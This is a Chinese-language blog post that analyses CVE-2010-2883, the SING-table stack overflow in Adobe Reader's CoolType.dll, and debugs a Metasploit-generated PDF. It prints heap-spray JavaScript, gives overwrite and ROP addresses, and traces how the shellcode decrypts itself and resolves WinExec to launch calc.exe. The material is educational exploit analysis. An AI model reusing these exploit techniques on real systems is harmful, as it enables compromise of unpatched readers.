1. 程式人生 > >CVE-2010-2883分析

CVE-2010-2883分析

1 漏洞背景

CVE-2010-2883是Adobe Reader和Acrobat中的CoolType.dll庫在解析字型檔案SING表中的uniqueName項時存在棧溢位漏洞。

1.1 Heap Spray(堆噴)

使用堆噴的時候,會將EIP指向堆區的0x0C0C0C0C位置,然後用JavaScript申請大量記憶體,用包含著0x90和shellcode的“記憶體片”覆蓋這些記憶體。

JavaScript會從記憶體低址向高址分配記憶體,申請了超過200M的記憶體。

 

var nop=unescape(“%u9090%u9090”);
//nop.length返回的是2
//產生一個大小為1MB且全部被0x90填滿的記憶體塊
while (nop.length<=0x100000/2)//0x100000是1MB,1MB=1024KB =1024*1024B=0x100000B
{
	nop+=nop;
}
//Java會為申請到的記憶體填上一些額外的資訊,為了保證記憶體片恰好是1MB,需要將額外資訊所佔空間減去。
nop=nop.substring(0,0x100000/2-32/2-shellcode.length/2-2/2);
var slide=new Arrary();
//用200個nop+shellcode的記憶體片覆蓋堆記憶體,只要任意一篇nop區能覆蓋0x0C0C0C0C,攻擊便可以成功。1MB的記憶體相對於200Bytes的shellcode,可以讓exploit擁有足夠的穩定性。
for (var i=0;i<200;i++)
{
	slide[i]=nop+shellcode;
}

 

1.2 PDF中的JS

注:使用的pdf是用metasploit生成的cve-2010-2883漏洞利用文件test.pdf

使用PDFStreamDumper檢視PDF檔案結構。

 第11個obj是OpenAction,檔案開啟時會執行它裡邊的指令碼。

 然而第11個obj沒有JS指令碼,個人推測JS後面跟了個“12 0 R”代表指令碼在第12個obj裡面。

 JS指令碼用了很多字串來混淆,用簡單字元代替後得到如下程式碼:

var shellcode = unescape( '%u4141%u4141%u63a5%u4a80%u0000%u4a8a......' );
var str = unescape("%u0c0c%u0c0c");
while (str.length + 20 + 8 < 65536) //65536 Bytes=64MB
	str+=str;
//取從0-1524,1M多一點
str1 = str.substring(0, (0x0c0c-0x24)/2);
str1 += shellcode;
str1 += str;
str2 = str1.substring(0, 65536/2);
while(str2.length < 0x80000) 
	str2 += str2;
str3 = str2.substring(0, 0x80000 - (0x1020-0x08) / 2);
var str4 = new Array();
for (str5=0;str5<0x1f0;str5++) 
		str4[str5]=str3+"s";

1.3 TTF檔案結構

使用PDFStreamDumper提取TTF檔案。

 TTF檔案在第10個obj裡面。選中第10個obj,右鍵“save Decompressed Streams”。

 TrueType字型通常包含在單個TrueType字型檔案中,其檔案字尾為.TTF。(TrueType是微軟和蘋果公司共同研製的字型標準)。TrueType字型用machintosh的輪廓字型資源的格式編碼,有一個唯一的標記名"sfnt"。windows沒有macintosh的點陣圖字型資源格式,字型目錄包含了字型格式的版本號和幾個表,每個表都有一個TableEntry結構項,TableEntry結構包含了資源標記、校驗和、偏移量和每個表的大小。

typedef   sturct
{
char   tag[4];
ULONG   checkSum;
ULONG   offset;//相對檔案的偏移
ULONG   length;//資料長度為0x1DDF
}TableEntry;

 在TTF檔案中搜索“SING”,可以找到TTF中關於SING表的TableEntry結構所處的位置。

SING表資料結構如下圖所示

 

 檔案偏移0x11C為SING表資料結構所處位置。SING表偏移0x10處為uniqueName域,uniqueName域大小為28位元組。strcat會把從“58 E0 8D AD”(在test.pdf處是“4A E0 CE 68”,都是檔案偏移0x0000012C處)開始的資料複製到指定位置,直到遇見NULL。此處的TTF檔案已經是包含了觸發棧溢位的資料。

1.4 漏洞成因

CoolType.dll中使用strcat函式時未對uniqueName欄位的字串長度進行檢測,直接複製到固定大小的棧空間,最終導致棧溢位。攻擊者篡改了TTF檔案,在PDF檔案中嵌入了JS指令碼。

sub_8021B06(&TableEntry, a1, "SING");
v6 = TableEntry;
LOBYTE(v24) = 2;
if ( TableEntry )
{
  if ( !(*&TableEntry->tableVersionMajor & 0xFFFF) || (*&TableEntry->tableVersionMajor & 0xFFFF) == 256 )
  {
    uniqueName = 0;
    strcat(&uniqueName, TableEntry->uniqueName);
    sub_8001243(a2, &uniqueName);
    v6 = TableEntry;
  }
  v23 = 1;
}

2 漏洞除錯

使用msf生成了漏洞利用文件,彈出計算機即利用成功。

2.1 使用msf生成樣本

 

2.2 除錯環境

作業系統:xp sp3

除錯工具:吾愛破解OllyDbg

軟體:AdbeRdr934_en_US.exe

2.3 除錯

開啟Adobe Reader,開啟OD附加Adobe Reader,在strcat函式處下斷點0x0803DDAB(CoolType.dll的基地址是0x8000000),執行,用Adobe Reader開啟test.pdf(msf生成的漏洞利用文件)。過一會會報錯,選擇不傳送錯誤即可,耐心等待,再過一會斷在了strcat函式處。

strcat函式執行結束之後,複製的資料從0012E4D8一直到0012E714

構造的觸發棧溢位資料有三處比較重要

 若未發生棧溢位,0x12E6D0處的內容是0x080833EF,CoolType.dll會在地址0x0808B308處呼叫該函式,但是棧溢位發生後,該處地址被覆蓋成0x4A80CB38。

執行到sub_8001243函式結束,對複製的資料設定記憶體訪問斷點,直接斷在了0x0808B308處。(為什麼在sub_8001243函式執行結束後設置記憶體訪問斷點?因為sub_8001243函式會在呼叫ROP指令之前對複製的資料進行訪問,影響除錯,so,還是略過吧,sub_8001243跟了一遍,就是把地址0x12E608和0x12E60C處的資料修改了)。

 

 F7跟進icucnv36.4A80CB3。

leave在16位彙編下相當於:
mov bp,sp
pop bp
leave在32位彙編下相當於:
mov esp,ebp
pop ebp
/* lead指令將EBP暫存器的內容複製到ESP暫存器中,
以釋放分配給該過程的所有堆疊空間。然後,它從堆疊恢復EBP暫存器的舊值。*/

 

 add ebp,0x794

 

leave    (0x0012E4E0-0x12E4DC=0x4) 

 retn

 

 

 開始執行shellcode

 

 shellcode使用了CreateFile 、CreateFileMapping、MapOfViewMap建立了檔案iso885,並把該檔案對映到了記憶體中。使用memcpy函式將shellcode複製到了0x0037B0000處。

 

 shellcode會對自身進行解密,解密虛擬碼如下。

key=0x92F9A5A9;
h=0x03EA0018;
for(i=0;i<0x31;i++)
{
	Array[h]=Array[h] xor key;
	key=Array[h]+key;
	h=h+0x4;
}

 解密之後可以在shellcode中看到計算器名稱calc.exe。

 再往後就是動態定位ntdll.dll中的函式,找到WinExec,然後用WinExec執行calc.exe。

2.4 動態定位API

從程序環境塊(PEB)中找到動態連結庫的匯出表,搜尋出所需API地址,然後呼叫。

test.pdf中的shellcode使用的就是這種方法呼叫了WinExec函式。

步驟:

1. 通過段選擇字FS在記憶體中找到當前的執行緒環境塊TEBTEB偏移0x30的地方存放指向PEB的指標。

2. TEB偏移0x30的地方存放指向PEB的指標。

mov edx,FS:[eax+0x30]//edx中現在儲存指向PEB的指標

3. PEB中偏移0xC的地方存放著指向PEB_LDR_DATA結構體的指標,其中存放著已經被程序裝載的動態連結庫的資訊。(2+1+1+2*4=0xC)

4.  PEB_LDR_DATA結構體偏移0x14的地方存放著InMemoryOrderModuleList。(8+3*4=0x14)

 

InMemoryOrderModuleList代表按記憶體順序構成的模組連結串列。包含兩個指標,指向下一個LDR_DATA_TABLE_ENTRY中的InMemoryOrderLinks的Flink和指向上一個LDR_DATA_TABLE_ENTRY中的InMemoryOrderLinks的Blink。可以使用InMemoryOrderLinks的Flink遍歷程序載入的整個模組。

 

 第一個模組AcroRd32.exe。因為這個雙向連結串列連結的都是InMemoryOrderLinks,所以偏移也從InMemoryOrderLinks開始算。

 

 第二個模組時ntdll.dll,匯出表偏移0x20處的指標指向儲存匯出函式函式名的列表。計算並比較函式名hash,找到WinExec後,計算出函式地址,呼叫。

 得到函式地址後呼叫WinExec即可。

3 總結

CVE-2010-2883利用中使用了棧溢位、堆噴以及動態定位API技術,分析的時候以為只是簡單的棧溢位,沒想到牽扯出來這麼多東西,腦子轉的慢,分析了好幾天才算是分析完,忘了在哪裡看到的一句換,大致意思是“學習漏洞戰爭這本書之前,先看一下0day安全”,說的真是太好了,我要是分析這個漏洞之前把0day安全實踐完了就好了,肯定會很輕鬆,不至於這麼累。其中堆噴、PDF中的JS以及動態定位API都是0day安全這本書中詳細說過的,尤其是shellcode中的定位API,0day安全這本書中有它的彙編程式碼,基本上一模一樣,我要是當初認真看了,也不會再這裡卡上半天,所以說啊,認真學習,別想著偷懶,欠的債總是要還的。

感慨一下發現這個漏洞以及利用成功的人,簡直太牛了,怎麼能這麼厲害呢,換做是我,根本就想不到這麼多的東西,大佬啊,望塵莫及。

4 參考文獻

《漏洞戰爭》

《0day安全:軟體漏洞分析技術》